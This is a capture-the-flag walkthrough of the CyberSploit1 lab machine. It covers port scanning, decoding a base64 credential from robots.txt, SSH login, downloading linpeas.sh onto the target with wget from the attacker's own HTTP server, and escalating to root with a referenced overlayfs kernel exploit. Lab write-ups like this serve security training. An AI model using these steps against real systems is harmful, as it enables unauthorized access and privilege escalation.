# CyberSploit1

## nmap

```
(base) [psdon@arch CyberSploit1]$ mkdir nmap
(base) [psdon@arch CyberSploit1]$ sudo rustscan -a 192.168.217.92 --ulimit 5000 -t 2000 -- -T4 -A -oA nmap/all-ports-service-scan                                                                                    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.                                                                                                                                                             
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |                                                                                                                                                             
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |                                                                                                                                                             
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'                                                                                                                                                             
The Modern Day Port Scanner.                                                                                                                                                                                         
________________________________________                                                                                                                                                                             
: https://discord.gg/GFrQsGy           :                                                                                                                                                                             
: https://github.com/RustScan/RustScan :                                                                                                                                                                             
 --------------------------------------                                                                                                                                                                              
Real hackers hack time ⌛                                                                                                                                                                                             
                                                                                                                                                                                                                     
[~] The config file is expected to be at "/root/.rustscan.toml"                                                                                                                                                      
[~] Automatically increasing ulimit value to 5000.                                                                                                                                                                   
Open 192.168.217.92:22                                                                                                                                                                                               
Open 192.168.217.92:80 
```

A web server on port 80 is open

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3GRG8BBcHojG2T6c2%2Fimage.png?alt=media&#x26;token=807fcec3-1648-4e82-bcc1-27db1b935150" alt=""></div>

Let's checked the source code of the page, and we can find a possible username on there.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3Gb4MCU_flzKqZrK1%2Fimage.png?alt=media&#x26;token=716b57eb-cce8-4f19-a410-6af8d7327b13" alt=""></div>

Let's also checked the `robots.txt` and as you can see, we have found a base64 encoded string

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3H3HutbbmcnbX3wKO%2Fimage.png?alt=media&#x26;token=1d3b940c-3a10-4e28-9167-5a90940b815f" alt=""></div>

We can decode it by executing the following command

```
(base) [psdon@arch CyberSploit1]$ echo Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0= | base64 --decode                                                                                                        
cybersploit{youtube.com/c/cybersploit}
```

## Exploitation

Let's try to log in using the username of `itsskv` and use the decoded string as a password

```
(base) [psdon@arch nikto]$ ssh itsskv@192.168.217.92                                                      
This key is not known by any other names                                                                  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes                                  
Warning: Permanently added '192.168.217.92' (ECDSA) to the list of known hosts.                           
itsskv@192.168.217.92's password: cybersploit{youtube.com/c/cybersploit}                                                                          
itsskv@cybersploit-CTF:~$   
```

Looks like we have successfully gained an initial shell. Sweet :D

## Post Exploitation

First, let's transfer `linpeas.sh` from our machine to the target machine

```
(base) [psdon@arch CyberSploit1]$ cd /opt/peass/linPEAS/                                                  
(base) [psdon@arch linPEAS]$ ls                                                                           
builder  images  linpeas.sh  README.md                                                                    
(base) [psdon@arch linPEAS]$ sudo python -m http.server 80                                                
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 
```

You can find the machine IP address by executing the following.

```
(base) [psdon@arch CyberSploit1]$ ip a | grep tun                                                         
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qle
n 500                                                                                                     
    inet 192.168.49.217/24 scope global tun0                                                              
(base) [psdon@arch CyberSploit1]$
```

Then transfer the script using `wget`

```
itsskv@cybersploit-CTF:~$ wget http://192.168.49.217/linpeas.sh                                                                                                                                                      
--2021-08-27 02:16:13--  http://192.168.49.217/linpeas.sh                                                                                                                                                            
Connecting to 192.168.49.217:80... connected.                                                                                                                                                                        
HTTP request sent, awaiting response... 200 OK                                                                                                                                                                       
Length: 458110 (447K) [application/x-sh]                                                                                                                                                                             
Saving to: `linpeas.sh'                                                                                                                                                                                              
                                                                                                                                                                                                                     
100%[================================================================>] 4,58,110     147K/s   in 3.0s                                                                                                                
                                                                                                                                                                                                                     
2021-08-27 02:16:17 (147 KB/s) - `linpeas.sh' saved [458110/458110]                                                                                                                                                  
                                                                                                                                                                                                                                                                                                                                                                                   
itsskv@cybersploit-CTF:~$ chmod +x linpeas.sh 
```

And now we can run `linpeas.sh`

```
itsskv@cybersploit-CTF:~$ ./linpeas.sh                                                                                                                                                                               
                                                                                                                                                                                                                     
                                                                                                                                                                                                                     
                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                                           
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄                                                                                                                                                                     
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄                                                                                                                                                                 
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄                                                                                                                                                            
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄                                                                                                                                                          
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄                                                                                                                                                           
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄                                                                                                                                                          
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄                                                                                                                                                          
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄                                                                                                                                                          
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄                                                                                                                                                          
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄                                                                                                                                                          
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄                                                                                                                                                           
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                           
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀                                                                                                                                                           
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀                                                                                                                                                                    
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀                                                                                                                                                                         
                                                                                                                                                                                                                     
      /---------------------------------------------------------------------------\                                                                                                                                  
      |                             Do you like PEASS?                            |                                                                                                                                  
      |---------------------------------------------------------------------------|                                                                                                                                  
      |         Become a Patreon    :     https://www.patreon.com/peass           |                                                                                                                                  
      |         Follow on Twitter   :     @carlospolopm                           |                                                                                                                                  
      |         Respect on HTB      :     SirBroccoli & makikvues                 |                                                                                                                                  
      |---------------------------------------------------------------------------|                                                                                                                                  
      |                                 Thank you!                                |                                                                                                                                  
      \---------------------------------------------------------------------------/                                                                                                                                  
        linpeas-ng by carlospolop
```

Right of the bat, you can see the version of the Linux Kernel it is running.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3MPM0t9x5zBOh4KKj%2Fimage.png?alt=media&#x26;token=793f884e-aa19-4577-84c0-441840a38767" alt=""></div>

We can check this Linux Kernel version with `searchsploit` and I found out it is vulnerable to **overlayf** exploit.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3N0lt7VucqxfdbG-1%2Fimage.png?alt=media&#x26;token=1c03b51d-dbb9-4877-925f-192cf3b0c1c5" alt=""></div>

## Privilege Escalation

Let's mirror the exploit to our current working directory, and copy the content of the file to the clipboard

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3Nl-TVx3p9Slz2kHa%2Fimage.png?alt=media&#x26;token=600d3fee-b7f9-40b1-8425-3d8acfc25bea" alt=""></div>

```
xclip -selection clipboard -i < 37292.c
```

And paste it to the target machine

```
nano e.c
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3OVdg3peGpuw_Ch2D%2Fimage.png?alt=media&#x26;token=d0c1d527-a8aa-4af3-a727-be990de49561" alt=""></div>

We can compile the C source code using `gcc` binary installed in the target machine. And right after running the exploit, we got root in the target machine.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mi3FsC-lUqoaBq8ivqx%2F-Mi3OnbN9Rvq5c8FDJva%2Fimage.png?alt=media&#x26;token=3a36bc1e-1faa-4380-ac4c-e08f58a9c959" alt=""></div>

Thanks, and enjoy! :D
